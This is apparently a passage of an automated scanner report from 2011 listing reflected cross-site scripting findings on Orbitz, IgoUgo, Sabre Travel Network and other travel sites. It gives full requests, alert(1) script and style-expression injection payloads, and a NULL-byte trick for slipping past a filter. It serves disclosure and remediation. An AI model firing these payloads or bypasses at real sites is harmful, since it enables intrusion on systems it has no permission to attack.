HTTP/1.1 200 OK Cache-Control: private Date: Mon, 03 Oct 2011 00:52:45 GMT Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: SL_UVId=2BC47C1462303C7A;path=/; X-SL-CompState: TouchUp X-Strangeloop: ViewState,Compression Content-Length: 78363
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!-- Google Website Optimizer Control Script --> <script ...[SNIP]... <base href="http://www.igougo.com/traveldeals/ratefinder.aspx?TypeID=1&SourceID=TVLY-dRF-Popunder&adlt=1&end=Boston&rm=1&dest=Boston, undefined undefined&strtDate=10/04/2011&endDate=10/07/2011&848f0"style="x:expression(alert(1))"b28791311ee=1" /> ...[SNIP]...
The value of the rm request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 49a27"style%3d"x%3aexpression(alert(1))"5516cdaaee2 was submitted in the rm parameter. This input was echoed as 49a27"style="x:expression(alert(1))"5516cdaaee2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /traveldeals/ratefinder.aspx?TypeID=1&SourceID=TVLY-dRF-Popunder&adlt=1&end=Boston&rm=149a27"style%3d"x%3aexpression(alert(1))"5516cdaaee2&dest=Boston,%20undefined%20undefined&strtDate=10/04/2011&endDate=10/07/2011 HTTP/1.1 Host: www.igougo.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.travelocity.com/popWindow2?theDomain=www.travelocity.com&selectedForm=cb-form-ho&formPrefix=HO&fromDate=dd&fromMonth=mm&fromYear=yyyy&toDate=dd&toMonth=mm&toYear=yyyy&theAdtoShow=ad2&dest=BOS&triptype=&noOfRooms=1&noOfAdults=1&service=TRAVELOCITY&oneway= Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Cache-Control: private Date: Mon, 03 Oct 2011 00:33:14 GMT Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: SL_UVId=2BC47C1462303C7A;path=/; X-SL-CompState: TouchUp X-Strangeloop: ViewState,Compression Content-Length: 78353
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!-- Google Website Optimizer Control Script --> <script ...[SNIP]... <base href="http://www.igougo.com/traveldeals/ratefinder.aspx?TypeID=1&SourceID=TVLY-dRF-Popunder&adlt=1&end=Boston&rm=149a27"style="x:expression(alert(1))"5516cdaaee2&dest=Boston, undefined undefined&strtDate=10/04/2011&endDate=10/07/2011" /> ...[SNIP]...
The value of the strtDate request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 40323"style%3d"x%3aexpression(alert(1))"4d993816bbe was submitted in the strtDate parameter. This input was echoed as 40323"style="x:expression(alert(1))"4d993816bbe in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /traveldeals/ratefinder.aspx?TypeID=1&SourceID=TVLY-dRF-Popunder&adlt=1&end=Boston&rm=1&dest=Boston,%20undefined%20undefined&strtDate=10/04/201140323"style%3d"x%3aexpression(alert(1))"4d993816bbe&endDate=10/07/2011 HTTP/1.1 Host: www.igougo.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.travelocity.com/popWindow2?theDomain=www.travelocity.com&selectedForm=cb-form-ho&formPrefix=HO&fromDate=dd&fromMonth=mm&fromYear=yyyy&toDate=dd&toMonth=mm&toYear=yyyy&theAdtoShow=ad2&dest=BOS&triptype=&noOfRooms=1&noOfAdults=1&service=TRAVELOCITY&oneway= Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Cache-Control: private Date: Mon, 03 Oct 2011 00:50:43 GMT Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: SL_UVId=2BC47C1462303C7A;path=/; X-SL-CompState: TouchUp X-Strangeloop: ViewState,Compression Content-Length: 78353
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!-- Google Website Optimizer Control Script --> <script ...[SNIP]... <base href="http://www.igougo.com/traveldeals/ratefinder.aspx?TypeID=1&SourceID=TVLY-dRF-Popunder&adlt=1&end=Boston&rm=1&dest=Boston, undefined undefined&strtDate=10/04/201140323"style="x:expression(alert(1))"4d993816bbe&endDate=10/07/2011" /> ...[SNIP]...
The value of the itype request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c224c'%3balert(1)//00a1bd292f3 was submitted in the itype parameter. This input was echoed as c224c';alert(1)//00a1bd292f3 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /weimg?itype=langs/en/tripadvisor_logo_207x51-12811-0.gifc224c'%3balert(1)//00a1bd292f3&lang=en HTTP/1.1 Host: www.jscache.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.getaroom.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload 8f20f<script>alert(1)</script>9c80d39f6d9 was submitted in the callback parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.0 200 OK Date: Mon, 03 Oct 2011 00:00:51 GMT Server: Apache P3P: policyref="/w3c/p3p.xml", CP="NOI NID DEVa PSAa PSDa OUR OTR IND OTC" Content-Type: application/javascript Cache-Control: no-cache, no-store, private Vary: Accept-Encoding X-Cache: MISS from lb4-sv.int.pixazza.com X-Cache-Lookup: MISS from lb4-sv.int.pixazza.com:80 Via: 1.0 lb4-sv.int.pixazza.com:80 (squid/2.6.STABLE18) Connection: Keep-Alive
The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload 454e8<script>alert(1)</script>680fca9efa2 was submitted in the callback parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the url request parameter is copied into the HTML document as plain text between tags. The payload f0346<script>alert(1)</script>38991e8f777 was submitted in the url parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the redirectPath request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4d6e4"><script>alert(1)</script>e66d79da26b was submitted in the redirectPath parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the catTxt request parameter is copied into the HTML document as plain text between tags. The payload a3be1<script>alert(1)</script>778a94ec988 was submitted in the catTxt parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the searchText request parameter is copied into the HTML document as plain text between tags. The payload 75931<script>alert(1)</script>14fb8fbf954 was submitted in the searchText parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the search request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b5ea6"%3balert(1)//9b951a12e8a was submitted in the search parameter. This input was echoed as b5ea6";alert(1)//9b951a12e8a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the search request parameter is copied into the HTML document as plain text between tags. The payload c1b24<script>alert(1)</script>8c54598a5cd was submitted in the search parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the destination request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 850cd"style%3d"x%3aexpression(alert(1))"325283acfab9491f6 was submitted in the destination parameter. This input was echoed as 850cd"style="x:expression(alert(1))"325283acfab9491f6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Cache-Control: private Pragma: no-cache Set-Cookie: logging=6EA6F85923281CCF7F006954C370B1AB|egapp27p|egapp2192p.prod.orbitz.net; Domain=.orbitz.com; Path=/ P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Set-Cookie: DataPersistence=||||||||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|BOS|MIA850cd%22style%3D%22x%3Aexpression%28alert%281%29%29%22325283acfab9491f6|10/11/11|||||||||10/24/11|10/24/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||advanced|; Domain=.orbitz.com; Expires=Sun, 28-Sep-2031 00:43:41 GMT; Path=/ Set-Cookie: DataPersistence=||||||||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|BOS||10/11/11|||||||||10/24/11|10/24/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||advanced|; Domain=.orbitz.com; Expires=Sun, 28-Sep-2031 00:43:41 GMT; Path=/ Content-Type: text/html Date: Mon, 03 Oct 2011 00:43:41 GMT Content-Length: 160764
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1 ...[SNIP]... <input type="text" name="destination" id="airDestination" class="locationInput hasError" value="MIA850CD"STYLE="X:EXPRESSION(ALERT(1))"325283ACFAB9491F6" /> ...[SNIP]...
The value of the destination request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1d8a1"style%3d"x%3aexpression(alert(1))"6e49be09e98d299c6 was submitted in the destination parameter. This input was echoed as 1d8a1"style="x:expression(alert(1))"6e49be09e98d299c6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Cache-Control: private Pragma: no-cache Set-Cookie: logging=6EA6F85923281CCF7F006954C370B1AB|egapp33p|859365d23b27b43ebaadba5a; Domain=.orbitz.com; Path=/ P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Set-Cookie: DataPersistence=||||||||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|bos|mia1d8a1%22style%3D%22x%3Aexpression%28alert%281%29%29%226e49be09e98d299c6|mm/dd/yy|||||||||mm/dd/yy|mm/dd/yy||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||advanced|; Domain=.orbitz.com; Expires=Sun, 28-Sep-2031 00:36:04 GMT; Path=/ Set-Cookie: DataPersistence=||||||||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|BOS||mm/dd/yy|||||||||mm/dd/yy|mm/dd/yy||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||advanced|; Domain=.orbitz.com; Expires=Sun, 28-Sep-2031 00:36:04 GMT; Path=/ Content-Type: text/html Date: Mon, 03 Oct 2011 00:36:04 GMT Content-Length: 157844
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1 ...[SNIP]... <input type="text" name="destination" id="airDestination" class="locationInput hasError" value="MIA1D8A1"STYLE="X:EXPRESSION(ALERT(1))"6E49BE09E98D299C6" /> ...[SNIP]...
The value of the destination request parameter is copied into the HTML document as plain text between tags. The payload bd6fc<a>fa2c330f76f was submitted in the destination parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Cache-Control: private Pragma: no-cache Set-Cookie: logging=6EA6F85923281CCF7F006954C370B1AB|egapp27p|egapp2192p.prod.orbitz.net; Domain=.orbitz.com; Path=/ P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Set-Cookie: PackagingContext=APH; Domain=.orbitz.com; Expires=Sun, 28-Sep-2031 00:55:35 GMT; Path=/ Set-Cookie: DataPersistence=||||||||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|BOS||10/04/11|||||||MIA|BOS||10/11/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|; Domain=.orbitz.com; Expires=Sun, 28-Sep-2031 00:55:35 GMT; Path=/ Content-Type: text/html Date: Mon, 03 Oct 2011 00:55:35 GMT Content-Length: 65588
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1 ...[SNIP]... <p class="error">We can't find the following location: "MIAbd6fc<a>fa2c330f76f". Please check the spelling, and enter a city name or airport code.</p> ...[SNIP]...
The value of the origin request parameter is copied into the HTML document as plain text between tags. The payload 5997f<a>49d5ff584c8 was submitted in the origin parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Cache-Control: private Pragma: no-cache Set-Cookie: logging=6EA6F85923281CCF7F006954C370B1AB|egapp27p|egapp2192p.prod.orbitz.net; Domain=.orbitz.com; Path=/ P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Set-Cookie: PackagingContext=APH; Domain=.orbitz.com; Expires=Sun, 28-Sep-2031 00:55:27 GMT; Path=/ Set-Cookie: DataPersistence=||||||||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6||MIA|10/04/11|||||||MIA|BOS||10/11/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|; Domain=.orbitz.com; Expires=Sun, 28-Sep-2031 00:55:27 GMT; Path=/ Content-Type: text/html Date: Mon, 03 Oct 2011 00:55:26 GMT Content-Length: 65550
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1 ...[SNIP]... <p class="error">We can't find the following location: "BOS5997f<a>49d5ff584c8". Please check the spelling, and enter a city name or airport code.</p> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 55bd4"><script>alert(1)</script>0ad586733cb was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload b0665<a>d9bbd13bca2 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload a0336<a>37f18bb685c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /homea0336<a>37f18bb685c/ HTTP/1.1 Host: www.sabretravelnetwork.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.google.com/search?gcx=c&sourceid=chrome&ie=UTF-8&q=sabre+travel Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ef105"><a>e4de0a727fd was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /homeef105"><a>e4de0a727fd/ HTTP/1.1 Host: www.sabretravelnetwork.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.google.com/search?gcx=c&sourceid=chrome&ie=UTF-8&q=sabre+travel Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload dc642<a>5bcd5f2dd13 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e3ca1"><script>alert(1)</script>7930a41e3ba was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Conte ...[SNIP]... <a href="/home/homee3ca1"><script>alert(1)</script>7930a41e3ba/products_services"> ...[SNIP]...
4.357. http://www.sabretravelnetwork.com/home/products_services/product_index/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Firm
Host:
http://www.sabretravelnetwork.com
Path:
/home/products_services/product_index/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload %002fe48<a>3768ca006c9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 2fe48<a>3768ca006c9 in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Cont ...[SNIP]... <a>3768ca006c9=1">?%002fe48<a>3768ca006c9=1</a> ...[SNIP]...
4.358. http://www.sabretravelnetwork.com/home/products_services/product_index/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Firm
Host:
http://www.sabretravelnetwork.com
Path:
/home/products_services/product_index/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %0095469"><a>31da79be35d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 95469"><a>31da79be35d in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 3098c<a>037679025cb was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 79af8"><script>alert(1)</script>8f014a76d97 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Conte ...[SNIP]... <a href="/home/home79af8"><script>alert(1)</script>8f014a76d97/products_services"> ...[SNIP]...
4.361. http://www.sabretravelnetwork.com/home/products_services/travel_agency/contracts/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Firm
Host:
http://www.sabretravelnetwork.com
Path:
/home/products_services/travel_agency/contracts/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %0060a0b"><a>1e2cd697e59 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 60a0b"><a>1e2cd697e59 in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content ...[SNIP]... <a href="/home/products_services/travel_agency/contracts/?%0060a0b"><a>1e2cd697e59=1"> ...[SNIP]...
4.362. http://www.sabretravelnetwork.com/home/products_services/travel_agency/contracts/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Firm
Host:
http://www.sabretravelnetwork.com
Path:
/home/products_services/travel_agency/contracts/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload %00b86bc<a>3b3252b8864 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as b86bc<a>3b3252b8864 in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload de283"><script>alert(1)</script>166290c97fc was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload a210c<a>9c3419cad76 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Conte ...[SNIP]... <a>9c3419cad76">homea210c<a>9c3419cad76</a> ...[SNIP]...
4.365. http://www.sabretravelnetwork.com/home/products_services/travel_agency/contracts/images/loadingAnimation.gif [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload %008d8ab<a>d3ab6ad4db6 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 8d8ab<a>d3ab6ad4db6 in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content ...[SNIP]... <a>d3ab6ad4db6=1">loadingAnimation.gif?%008d8ab<a>d3ab6ad4db6=1</a> ...[SNIP]...
4.366. http://www.sabretravelnetwork.com/home/products_services/travel_agency/contracts/images/loadingAnimation.gif [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %00b96a6"><a>7f830de7a83 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as b96a6"><a>7f830de7a83 in the application's response.
